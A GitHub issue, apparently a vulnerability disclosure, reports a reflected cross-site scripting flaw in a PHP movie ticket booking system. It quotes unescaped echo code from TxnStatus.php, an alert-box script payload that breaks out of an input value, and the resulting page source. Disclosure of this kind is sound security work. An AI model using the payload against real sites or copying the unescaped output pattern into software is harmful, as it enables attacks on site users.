Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Movie Ticket Booking System-PHP XSS vulnerability #5

Closed
huclilu opened this issue Dec 1, 2022 · 0 comments
Closed

Movie Ticket Booking System-PHP XSS vulnerability #5

huclilu opened this issue Dec 1, 2022 · 0 comments

Comments

@huclilu
Copy link

huclilu commented Dec 1, 2022

Building environment:Apache2.4.49;MySQL5.7.26;PHP7.3.4

1.Movie Ticket Booking System-PHP XSS vulnerability

inTxnStatus. Php, code line 17: ORDER_ The variable $ORDER whose ID is input by the user and assigned through POST request_ The ID is then directly output in line 44 of the code. Value="">There is no filtering. That is to say, we can construct a closed javascript statement to pop up the page. However, we can bypass the character limit at the front end, which is very simple

$ORDER_ID = $_POST["ORDER_ID"];
<td><input id="ORDER_ID" tabindex="1" maxlength="20" size="20" name="ORDER_ID" autocomplete="off" value="<?php echo $ORDER_ID ?>">

PAYLOAD:

"><script>alert("ace")</script>

1201postxss

xssalertaces

Then check the website source code:

<td><input id="ORDER_ID" tabindex="1" maxlength="20" size="20" name="ORDER_ID" autocomplete="off" value=""><script>alert("ace")</script>">
@huclilu huclilu closed this as completed Dec 1, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant